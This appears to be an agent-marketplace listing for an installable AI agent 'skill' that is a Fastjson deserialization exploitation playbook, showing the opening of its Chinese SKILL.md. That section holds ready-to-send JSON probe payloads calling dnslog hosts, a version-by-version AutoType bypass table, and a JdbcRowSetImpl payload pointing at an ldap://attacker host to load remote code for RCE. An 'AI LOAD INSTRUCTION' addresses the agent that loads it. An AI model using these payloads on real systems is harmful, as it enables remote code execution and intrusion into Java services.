fastjson-exploitation
Fastjson/Fastjson2反序列化漏洞深度利用专业技能:版本探测、AutoType全版本绕过、JNDI/BCEL/TemplatesImpl/c3p0利用链、1.2.83 Gadget-free RCE(CVE-2026-16723)、Fastjson2…
Skill by langbyyi
Chalk Labs
Need help deploying fastjson-exploitation?
Chalk Labs sets up agents like this inside real teams: connected to your tools, tested on your data, with a human in the loop where it matters.
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/langbyyi-fastjson-exploitation
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: security
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/fastjson-exploitation
What's inside
- Skill name
fastjson-exploitation- Description
- Fastjson/Fastjson2反序列化漏洞深度利用专业技能:版本探测、AutoType全版本绕过、JNDI/BCEL/TemplatesImpl/c3p0利用链、1.2.83 Gadget-free RCE(CVE-2026-16723)、Fastjson2 FNV-1a哈希碰撞绕过(QVD-2026-45876)、不出网利用、WAF绕过、从探测到RCE完整攻击链
- License
- Apache-2.0
- Metadata
- version: 3.0.0
- Instructions
- 1,021 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Agent Skills spec issues
- body: 1021 lines (spec recommends under 500)
Files (1)
- SKILL.md
SKILL.md (first lines)
# Fastjson反序列化漏洞深度利用技能
> **AI LOAD INSTRUCTION**: Fastjson 全版本段 AutoType 绕过与利用链专家打法。按已知前提:反序列化基础与 JNDI 原理。聚焦版本精确判定→对应绕过策略→出网/不出网链选型,含 Fastjson2 与 Gadget-free 路径(CVE-2026-16723)。
## 概述
Fastjson是Alibaba开源的Java JSON解析库,因其`AutoType`机制允许在JSON中通过`@type`字段指定反序列化目标类,导致远程代码执行(RCE)。本技能系统化覆盖**版本探测→AutoType绕过→利用链选择→1.2.83 Gadget-free RCE→Fastjson2哈希碰撞绕过→不出网利用→WAF绕过→RCE**完整攻击链,覆盖Fastjson 1.2.22至1.2.83+与Fastjson2 2.0.x全版本段。
### 核心概念
- `JSON.parse()` vs `JSON.parseObject()`:parseObject会调用setter和部分getter,parse不会
- `@type`字段:指定反序列化目标类名,是Fastjson RCE的入口
- `checkAutoType()`:1.2.25引入的AutoType校验函数,黑白名单机制
- AutoType Support:配置项,开启/关闭影响利用条件
- SafeMode:1.2.68引入的全局开关,开启后直接拒绝一切AutoType(唯一有效阻断)
### 安全演进时间线
| 阶段 | 版本 | 防御机制 | 突破手法 |
|------|------|---------|---------|
| 蛮荒期 | ≤1.2.24 | 无AutoType限制 | 直接`@type`+JNDI |
| 黑名单期 | 1.2.25-1.2.47 | denyList+checkAutoType | L前缀/双写/方括号/Class缓存 |
| 哈希黑名单期 | 1.2.42-1.2.47 | 哈希黑名单+缓存关闭 | 需第三方链/不出网 |
| safeMode期 | 1.2.48-1.2.68 | 缓存默认关闭+expectClass | Throwable/AutoCloseable子类 |
| 收紧期 | 1.2.68-1.2.83 | safeMode+expectClass收紧 | expectClass二次解析/Gadget-free |
| Gadget-free | 1.2.66-1.2.83 | AutoType关闭仍可利用 | @JSONType资源探测+jar:远程加载(CVE-2026-16723) |
| Fastjson2 | 2.0.x ≤2.0.62 | 默认关AutoType+FNV-1a哈希白名单 | 增量哈希碰撞绕过(QVD-2026-45876) |
## 一、版本探测与指纹识别
### 1.1 版本号探测
**异常信息泄露(首选):**
```json
// 发送畸形JSON触发异常,可能暴露版本
{"@type": "xxx"}
// 返回:com.alibaba.fastjson.JSONException: autoType is not support. xxx [fastjson 1.2.68]
// Fastjson2返回:com.alibaba.fastjson2.JSONException: autoType is not support. xxx [fastjson2 2.0.x]
```
**基于黑名单类的版本判断:**
| 探测Payload | 有效版本范围 | 原理 |
|------------|------------|------|
| `{"@type":"java.net.URL","val":"http://dnslog"}` | >1.2.43 | URL类被加入黑名单后移除 |
| `{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}` | >1.2.43 | HashMap key触发hashCode |
| `{"@type":"java.net.InetAddress","val":"dnslog"}` | >1.2.48 | InetAddress绕过 |
| `{"@type":"java.net.Inet4Address","val":"dnslog"}` | >1.2.68 | Inet4Address绕过 |
| `{"@type":"java.net.Inet6Address","val":"dnslog"}` | >1.2.68 | IPv6绕过 |
| `[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"dnslog"}]` | 精确探测 | CookiePolicy区分Fastjson/Jackson |
**高级探测技巧:**
```json
// 利用Set触发
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
// InetSocketAddress触发
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
// JSONObject嵌套触发
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
// URL双括号
{{"@type":"java.net.URL","val":"http://dnslog"}:0
```
### 1.2 区分Fastjson与Jackson
```json
// Fastjson支持@type,Jackson不支持
// CookiePolicy类在Fastjson和Jackson中处理不同
[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"dnslog"}]
```
### 1.3 区分 Fastjson1 与 Fastjson2
```json
// Fastjson2 异常信息包名为 com.alibaba.fastjson2,Fastjson1 为 com.alibaba.fastjson
{"@type": "xxx"}
// 触发后错误堆栈中首行类名差异即可区分
// Fastjson2 默认配置下直接 @type 走 Map 路径不触发类加载
// 需用数组包裹强制走 ObjectReaderImplObject:
[{"@type":"java.net.Inet4Address","val":"dnslog"}]
```
### 1.4 环境信息收集
- **JDK版本**:决定JNDI注入是否可行(RMI: <=8u121, LDAP: <=8u191;更高版本需Rogue-JNDI);决定BCEL链(<8u251);决定1.2.83 Gadget-free完整RCE(JDK8最顺,JDK9+需/proc/self/fd技巧)
- **中间件类型**:Tomcat/Jetty/Undertow决定可用ClassLoader
- **启动方式**:Spring Boot FatJar(`java -jar`)→ LaunchedURLClassLoader,是1.2.83 Gadget-free与Fastjson2哈希碰撞链的核心条件
- **第三方依赖**:c3p0/mybatis/shiro/hikari等决定可用利用链
- **网络出口**:决定是否需要不出网利用
- **SafeMode状态**:开启则所有AutoType类利用全部失效
## 二、AutoType绕过全版本策略
### 2.1 绕过策略总览
| 版本范围 | 绕过方法 | 条件 | Payload前缀 |
|---------|---------|------|------------|
| 1.2.22-1.2.24 | 无checkAutoType | 无 | `@type`直接指定 |
| 1.2.25-1.2.41 | `L`前缀+`;`后缀 | 需开启AutoType | `Lcom.sun.rowset.JdbcRowSetImpl;` |
| 1.2.25-1.2.42 | `LL`双写+`;;`后缀 | 需开启AutoType | `LLcom.sun.rowset.JdbcRowSetImpl;;` |
| 1.2.25-1.2.43 | `[`方括号 | 需开启AutoType | `[com.sun.rowset.JdbcRowSetImpl` |
| 1.2.25-1.2.47 | `java.lang.Class`缓存通杀 | 1.2.33-1.2.47无需AutoType | 缓存绕过(见下) |
| 1.2.45 | MyBatis第三方组件 | 需mybatis 3.x <3.5.0 | `org.apache.ibatis.datasource.jndi.JndiDataSourceFactory` |
| 1.2.48+ | expectClass机制 | 需找到expectClass子类 | `java.lang.AutoCloseable`等 |
| 1.2.62-1.2.68 | Throwable子类链 | 恶意类需在classpath | `Throwable`子类 |
| 1.2.68+ | Throwable/expectClass | 利用expectClass绕过 | `AutoCloseable`+`Throwable` |
| 1.2.68-1.2.83 | **Gadget-free(CVE-2026-16723)** | **AutoType关闭即可,无需Gadget** | **`jar:http://...`远程类加载** |
| 1.2.75+ | expectClass收紧绕过 | expectClass二次解析置null | 双层@type |
| 2.0.x ≤2.0.62 | **FNV-1a哈希碰撞(QVD-2026-45876)** | **默认配置即可** | **`jar:http://...`+碰撞后缀** |
### 2.2 L前缀绕过(1.2.25-1.2.41)
黑名单检测`com.sun.rowset.JdbcRowSetImpl`,加`L`和`;`绕过:
```json
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://attacker:1389/exploit","autoCommit":true}
```
**原理**:`TypeUtils.loadClass()`在加载类时会去除类名前后的`L`和`;`,但黑名单检测时未去除。
### 2.3 双写绕过(1.2.25-1.2.42)From langbyyi/CyberStrikeAI-SRC, Apache-2.0.
More from langbyyi/CyberStrikeAI-SRC
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
csrf-cross-site-request-forgery
langbyyi
CSRF testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
clickjacking
langbyyi
Clickjacking playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
crlf-injection
langbyyi
CRLF injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cors-cross-origin-misconfiguration
langbyyi
CORS misconfiguration testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cmdi-command-injection
langbyyi
Command injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
dependency-confusion
langbyyi
Supply-chain testing via package-manager dependency confusion.
SkillAFreshness: A★ 131Claude Code +9
Signals
- Stars
- 131
- Forks
- 11
- Open issues
- 0
- Last commit (this folder)
- Sep 9, 2026 (1 month ago)
- Last release
- Oct 16, 2026 (15 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- Version
- 3.0.0
- License
- Apache-2.0
- Repository
- github.com/langbyyi/CyberStrikeAI-SRC
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from langbyyi
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9
Done for you
Rather not set it up yourself?
Chalk Labs scopes, builds and runs agents for your team: the task audit, the eval harness, the integrations and the weekly ops report. Fixed scope, priced before we start.
See how we build AI agents →Read the case studies
Chalk Labs is a two-founder AI and growth studio. We build AI agents, CRMs and MVPs for Web3 and AI companies, and have shipped 50+ product and token launches.
- launches shipped
- 50+
- launches shipped
- media placements
- 500+
- media placements
- founders on every account
- 2
- founders on every account
Press we've placed: Forbes · CoinDesk · Decrypt · Cointelegraph · The Block
Rahil Jain, Co-founder, Chalk Labs. Ex-Goldman Sachs engineer. You talk to the person who builds it.
Get fastjson-exploitation running in your business
Tell us what you want to automate. A founder replies within one working day with a plan, not a pitch deck.
Cite this page
fastjson-exploitation skill. Agent Mart. https://agentmart.dev/skills/langbyyi-fastjson-exploitation (last updated 2026-10-24)